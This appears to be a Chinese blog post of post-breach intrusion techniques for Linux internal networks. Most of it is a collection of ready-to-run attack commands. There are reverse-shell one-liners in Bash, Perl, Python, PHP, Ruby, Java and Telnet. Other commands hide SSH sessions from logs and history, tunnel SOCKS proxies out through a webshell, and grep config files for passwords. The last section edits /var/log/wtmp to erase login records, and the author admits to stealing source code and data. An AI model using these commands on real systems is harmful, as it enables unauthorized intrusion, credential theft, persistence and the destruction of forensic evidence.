前些天在 Wooyun Zone 里看到一个讨论:边界之后下一步你会做什么?,收获颇多。以前进了内网都是漫无目的的闲逛,所以准备写点东西整理下漫游的姿势,当然大部分都是从前辈的文章中摘取的(主要是 Linux 下)。

首先是反弹 shell 的一些姿势

Bash [不通用,跟linux发行版本有关,在ubuntu上测试成功]

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p

nc 监听端口 :nc -lvp 1234 即可。
更多的可以看看 Zone 里的这个讨论

连 SSH 的一些姿势

参见这篇各种环境下的渗透测试,防止被日志记录可以用文中提到的 back.py,也可以这样

  • 远程登录时防止被记录到 knowhosts 文件(默认为 ~/.ssh/knowhosts),并且无法用 w 命令看到自己。
ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash -i
  • 远程登录 SSH 后防止命令被 history 记录
unset HISTFILE;export HISTFILE=;export HISTFILE=/dev/null;export HISTSIZE=0;export HISTFILESIZE=0;export HISTIGNORE=*;export HISTCONTROL=ignorespace

端口复用连 SSH

只能连 80 端口时用 iptables 做端口复用

iptables -t nat -I PREROUTING 1 -p tcp -s 8.8.8.8 --dport 80 -j DNAT --to-destination 1.2.3.4:22

其中 8.8.8.8 是自己的 VPS 的 IP,1.2.3.4 是目标服务器 IP。

SSH 反弹端口:

首先要有个外网 IP 的 Linux 服务器,如果目标内网限制了访问端口,可以开到常见端口比如 80 或者 443 上面,可以直接改设置或者
iptables 映射一下。你需要有这个服务器的 root 权限。在 sshd_config 里面打开端口转发,
AllowTcpForwarding yes 还有 Gateway Ports,如果之前没开的话改完需要重启一下 sshd 。

另外就是因为反弹端口需要让目标机器登录到你的服务器,为了安全起见需要建立一个专门用来端口转发的用户,useradd
随便建个用户,设置密码然后到 /etc/passwd 里面,把最后一个':'后面的 shell (一般默认是 /bin/bash)改成
/sbin/nologin 或者 /bin/false,这样即使对方记录了你的ssh密码也没法对用来转发的服务器做什么(比如取证之类)。

有时候遇到不能执行交互命令的情况,比如之前遇到一个 phpmoadmin 的命令执行,但是权限很低,而且只有 /tmp 目录可写,可以用 SSH 的公钥验证免密码登录进行端口转发,参考通过non-interactive shell转发请求到内网

wget -O - -q "http://webserver.com/uploads/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -fNR 127.0.0.1:8080:192.168.20.13:8080 tempuser@x.x.x.x"

SSH 反弹 socks5 代理:

  • 在本地 8080 端口开 socks5 代理
ssh -fND 127.0.0.1:8080 user@127.0.0.1
  • 把 socks5 代理弹到 123.123.123.123 的 18080 端口
ssh -fNR 18080:127.0.0.1:8080 forward@123.123.123.123

然后就可以用 ProxyChains 、Proxifier 等其他支持 socks5 代理的工具最大限度的窥探内网。

信息收集

初步判断内网架构:

  • cat /etc/hosts
  • arp -a
  • ifconfig
  • netstat -antlp
  • iptables -L
  • traceroute -d baidu.com
  • last

操作历史记录

  • ~/.bash_history
  • ~/.mysql_history
  • ~/.ssh/known_hosts
  • ~/.dbshell

系统组件和服务的配置文件

不想麻烦的可以用:

find /  -name "*.conf" 2>&1 | xargs grep -s -i 'password'

把网站的配置文件打包:

find /var/www -name '*conf*.php' -print | zip config.zip -@

常见的配置文件默认地址(其实用 locate 找更方便):

  • /usr/local/nginx/conf/nginx.conf
  • /etc/httpd/conf/httpd.conf
  • /etc/redis.conf
  • /etc/rsyncd.conf
  • /etc/samba/smb.conf
  • /etc/my.conf
  • /etc/mongodb.conf
  • /etc/vsftpd/vsftpd.conf
  • */.git/config
  • */conf/svnserve.conf
  • /etc/yum.repos.d/
  • /etc/apt/sources.list

可能有惊喜的地方:

  • /etc/passwd
  • /tmp
  • ~/.ssh/
  • crontab -l

其他的一些点:

  • 打印机所在的网段很可能是办公网段,而某些打印机的 22 端口是可以未授权访问的。
  • 很多内网里的交换机存在 SNMP 弱口令,可以借此跨 Vlan 渗透
  • 一些公司对外的 DNS 服务器没有域传送漏洞,但是对内的 DNS 服务器为了方便可能会有域传送。
  • 某些公司清理了 GitHub 上的公网可利用的信息,但是对内网的一些密码和敏感地址会疏忽大意。

内网代理和留后门

除了之前说的用 SSH 开 socks 代理,其实用 Xshell 或者 Putty 自带的 SSH 隧道功能也很方便。
如果觉得装 VPN 或者 ShadowSocks 动静太大,可以试试 ssocks 或者 s5.py

至于在 Web 服务器上有了 webshell 搞代理可以用 tunna 或者 reDuh

我一般是拿了源码和数据就跑路,所以没留过什么后门。这方面用 metasploit 可能方便点。
如果只是想留个小后门,可以参考渗透技巧之SSH篇用 SSH 留后门。

什么 keylogger 和 rootkit 就不说了,wzt 之前写过的一个纯用 bash 实现的 brootkit 挺好玩,可以试试。

清理痕迹

如果在登录的时候就注意隐藏了,而且没有做什么大动作的话(编辑系统文件、重启服务之类),基本上要处理的就是 last 显示的最近登录情况。

因为 last 的日志文件 /var/log/wtmp 是二进制的,所以不能直接编辑,可以这样:

  • 将二进制文件转换为可编辑文件 wtmp.file
utmpdump /var/log/wtmp >/var/log/wtmp.file
  • 编辑 wtmp.file,删除或修改 login 记录,然后覆盖掉原来的文件
utmpdump  -r < /var/log/wtmp.file > /var/log/wtmp

一般用 logtamper 来自动修改日志,这里有个 python 版的.

参考资料:

各种环境下的渗透测试

讨论:边界之后下一步你会做什么?

渗透技巧 - WooYun wiki

内网渗透随想

待续